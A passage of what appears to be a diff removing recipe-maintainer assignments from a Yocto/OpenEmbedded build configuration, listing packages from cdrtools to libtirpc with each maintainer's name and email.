-RECIPE_MAINTAINER_pn-cdrtools-native = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-chkconfig = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-chkconfig-alternatives-native = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-chrpath = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-clutter-1.0 = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-clutter-gst-3.0 = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-clutter-gtk-1.0 = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-cmake = "Pascal Bach <pascal.bach@siemens.com>"
-RECIPE_MAINTAINER_pn-cmake-native = "Pascal Bach <pascal.bach@siemens.com>"
-RECIPE_MAINTAINER_pn-cogl-1.0 = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-connman = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-connman-conf = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-connman-gnome = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-console-tools = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-consolekit = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-core-image-base = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-minimal = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-minimal-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-minimal-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-minimal-mtdutils = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-tiny-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-full-cmdline = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-kernel-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato-sdk = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-testmaster-initramfs = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-testmaster = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-clutter = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-weston = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-x11 = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato-dev = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato-ptest-fast = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-core-image-sato-sdk-ptest = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-coreutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-cpio = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-cracklib = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-createrepo-c = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-cronie = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-cross-localedef-native = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-cryptodev-linux = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-cryptodev-module = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-cryptodev-tests = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-cups = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-curl = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-cve-check-tool = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-cve-update-db-native = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-cwautomacros = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-db = "Mark Hatle <mark.hatle@windriver.com>"
-RECIPE_MAINTAINER_pn-dbus = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-dbus-glib = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-dbus-test = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-dbus-wait = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-debianutils = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dejagnu = "Nathan Rossi <nathan@nathanrossi.com>"
-RECIPE_MAINTAINER_pn-depmodwrapper-cross = "Mark Hatle <mark.hatle@windriver.com>"
-RECIPE_MAINTAINER_pn-desktop-file-utils = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-dhcp = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-diffstat = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-diffutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-distcc = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-distcc-config = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dmidecode = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-dnf = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-docbook-xml-dtd4 = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-docbook-xsl-stylesheets = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dos2unix = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-dosfstools = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dpkg = "Aníbal Limón <limon.anibal@gmail.com>"
-RECIPE_MAINTAINER_pn-dropbear = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-dtc = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-dwarfsrcfiles = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-e2fsprogs = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-ed = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-efivar = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-efibootmgr = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-elfutils = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-ell = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-enchant = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-encodings = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-epiphany = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ethtool = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-eudev = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-expat = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-expect = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ffmpeg = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-file = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-findutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-flac = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-flex = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-font-alias = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-font-util = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-fontconfig = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-foomatic-filters = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-formfactor = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-freetype = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-fribidi = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-fts = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gawk = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-gcc = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-cross-initial-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-crosssdk-initial-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-runtime = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-sanitizers = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-source-8.3.0 = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gcc-source-9.2.0 = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gccmakedep = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gconf = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-gcr = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gdb = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gdb-cross-${TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gdb-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gdbm = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gdk-pixbuf = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-gettext = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-gettext-minimal-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-ghostscript = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-git = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-glew = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-glib-2.0 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-glib-networking = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-glibc = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glibc-locale = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glibc-mtrace = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glibc-scripts = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glibc-testsuite = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glide = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-gmp = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gnome-desktop-testing = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-gnome-themes-standard = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-gnu-config = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-gnu-efi = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-gnupg = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-gnutls = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-go = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-cross-${TUNE_PKGARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-dep = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-go-helloworld = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-native = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-runtime = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gobject-introspection = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gperf = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gpgme = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-gptfdisk = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-grep = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-groff = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-grub = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-grub-bootconf = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-grub-efi = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gsettings-desktop-schemas = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gst-examples = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gst-validate = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-libav = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-omx = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-meta-base = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-plugins-bad = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-plugins-base = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-plugins-good = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-plugins-ugly = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-python = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-rtsp-server = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-vaapi = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gtk+ = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-gtk+3 = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-gtk-doc = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gtk-icon-utils-native = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-gzip = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-harfbuzz = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-hdparm = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-help2man-native = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-hicolor-icon-theme = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-hwlatdetect = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-i2c-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-icecc-create-env = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-icu = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ifupdown = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-inetutils = "Tom Rini <trini@konsulko.com>"
-RECIPE_MAINTAINER_pn-init-ifupdown = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-boot = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-initramfs-framework = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-initramfs-live-boot = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-boot-tiny = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-install = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-install-efi = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-install-efi-testfs = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-install-testfs = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initscripts = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-intltool = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-iproute2 = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-iptables = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-iputils = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-iso-codes = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-iw = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-libjpeg-turbo = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-json-c = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-json-glib = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-kbd = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-kern-tools-native = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-kernel-devsrc = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-kexec-tools = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-keymaps = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-kmod = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-kmod-native = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-kmscube = "Carlos Rafael Giani <dv@pseudoterminal.org>"
-RECIPE_MAINTAINER_pn-l3afpad = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-lame = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-ldconfig-native = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-less = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-liba52 = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libacpi = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libaio = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libarchive = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-libassuan = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libatomic-ops = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libbsd = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcap = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcap-ng = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcap-ng-python = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcgroup = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libcheck = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcomps = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libconvert-asn1-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libcroco = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libdaemon = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libdazzle = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libdmx = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libdnf = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libdrm = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-libedit = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libepoxy = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-liberation-fonts = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-liberror-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libevdev = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libevent = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libexif = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libfakekey = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libffi = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libfm = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libfm-extra = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libfontenc = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libgcc = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libgcc-initial = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libgcrypt = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-libgfortran = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libgloss = "Alejandro Hernandez <aehs29@gmail.com>"
-RECIPE_MAINTAINER_pn-libglu = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-libgpg-error = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-libgudev = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-libical = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-libice = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libid3tag = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libidn = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libidn2 = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-libinput = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-libjitterentropy = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-libksba = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libmatchbox = "Ross Burton <ross.burton@intel.com>"
-RECIPE_MAINTAINER_pn-libmnl = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libmpc = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libmodule-build-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libmodulemd-v1 = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libnewt = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-libnewt-python = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-libnl = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libnotify = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libnsl2 = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libnss-mdns = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libnss-nis = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libogg = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libomxil = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libpam = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libpcap = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libpciaccess = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libpcre = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libpcre2 = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libpipeline = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libpng = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libproxy = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libpthread-stubs = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libpsl = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-librepo = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-librsvg = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libsamplerate0 = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libsdl2 = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libsecret = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libsm = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libsndfile1 = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libsolv = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libsoup-2.4 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libssp-nonshared = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libtasn1 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libtest-needs-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libtheora = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libtimedate-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libtirpc = "Anuj Mittal <anuj.mittal@intel.com>"
